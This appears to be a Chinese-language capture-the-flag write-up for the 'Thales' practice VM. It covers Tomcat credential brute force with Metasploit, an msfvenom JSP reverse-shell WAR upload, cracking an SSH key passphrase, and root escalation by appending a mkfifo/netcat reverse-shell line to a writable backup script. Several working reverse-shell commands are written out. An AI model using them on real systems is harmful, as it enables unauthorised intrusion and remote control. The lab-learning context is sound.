Thales 靶场渗透记录

Thales 靶场渗透记录

一、ip

arp-scan扫靶场端口

1、攻击机：Kali ip：192.168.142.128

​ 靶机：？ ip：192.168.56.135

二、日常扫端口

开放端口 22 和 8080 ， 还可以看到有开放tomcat

进去网页看看tomcat

正常显示

可以正常登录

打开msfconsole，msf的界面还是如此霸气！

搜索一下，msf用的不熟练，但是这个东西是确实牛逼的~~

翻资料，先去search来搜索tomcat模块，发现搜出一堆，攻略了下，search tomcat login 会针对登录模块搜索

找到一个，应该就是用这个模块，接下来=。= 继续查资料，然后use 选择使用的模块（一步一步查=。=）

show payloads 显示所有攻击载荷，但是发现check全是no，不知道是不是不能用，研究了下，不懂~

攻略了下，show options 可以显示模块所需参数，发现有些是yes有些是no，查了查资料，show options是显示出该模块的参数是否设置完整，不知道这样行不行，先设置了RHOST，即靶机的ip

run 命令开始攻击！

就成功一个，但是发现login，successful，后面是tomcat role1 ，用户名密码？拿去登陆一下

进来了~~~舒服！

卡住了，攻略了，发现要利用这个上传文件的功能，上传木马上去

三、msf上传木马反弹shell

msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.56.128 lport=5678  -f war -o myshell.war

-p是指定payloads，但是后门这个不太懂，应该是固定的payload名称，从名字猜应该是java/jsp的反转shell用的，lhost是kali ip，lport是端口，-f是生成文件类型，-o输出的文件名

可以看到已经生成了，下来上传tomcat中去，得用kali打开tomcat ， 好卡~~~~~！！！！

搞定了，点一下看能不能反转shell

白的，啥也没有~~~enmmmmmm，想了想，应该是kali要监听一下，不然设置那个端口干嘛，再试试

又运行了下，果然收到了！！爽！

确实反弹回来了！但是没发现什么=。= |||

卡关了，攻略了下，先要转为交互式shell，现在这个shell确实很难受

python3 -c "import pty;pty.spawn('/bin/bash')"

这句代码也不知道什么意思，先记住吧~~

还是没看到什么有用信息，sudo -l 又需要密码，无法执行

进去了thales里面，看到notes.txt，cat了一下，发现一句话

I prepared a backup script for you. The script is in this directory “/usr/local/bin/backup.sh”. Good Luck.

译：我为你准备了一个后门脚本，这个脚本在路径：/usr/local/bin/backup.sh 祝你好运！

既然提示了，那就去执行一下这个脚本

执行了一下，cat了一下，都没发现啥东西，醉了呀！！！！

四、发现id_rsa公钥

不得已又回去了

发现了ssh，进去了后，发现id_rsa，这个后上一个靶场那个john公钥是一个名字，那就代表可以用john来爆破，算是有线索了

回到kali，复制了这个密码到id_rsa,然后按照上次一样来爆破

拿到密码vodka06，试试登录

成功！！！！user.txt里面拿到第一把旗！

五、提权

1、这会想起之前那个执行文件/usr/local/bin/backup.sh这个文件，可以效仿之前，去echo进去反弹shell的代码，看看是否能提权

2、回到之前这个文件，查看一下权限可以编辑

反弹shell咋写来着，忘记了~~回去找找之前的

之前的写入后，反弹回来的是thales用户，不行！无奈~又去攻略，得到大佬代码

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.128 1234 >/tmp/f" >> backup.sh

写入了这行shell，过了一会反弹回来了

拿到root权限，这行shell完全不懂~~~~查查资料！

只查到这些资料，enmmmmmm，还是没懂。这个提权得找个时间好好学习一下~~~

基于匿名管道(pipe)传递指令流

nc 192.168.43.146 7777 | /bin/bash | nc 192.168.43.146 8888

基于命名管道（fifo）
fifo是命名管道也被称为FIFO文件，它是一种特殊类型的文件，它在文件系统中以文件名的形式存在（因为多个进程要识别），它的行为和匿名管道类似（一端读一端写），但是FIFO文件也不在磁盘进行存储。一般用于进程间的通信。

 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i >&|nc 110.211.55.2  >/tmp/f

    1

mkfifo 命令首先创建了一个管道
cat 将管道里面的内容输出传递给/bin/sh
sh会执行管道里的命令并将标准输出和标准错误输出结果通过 nc 传到该管道，由此形成了一个回路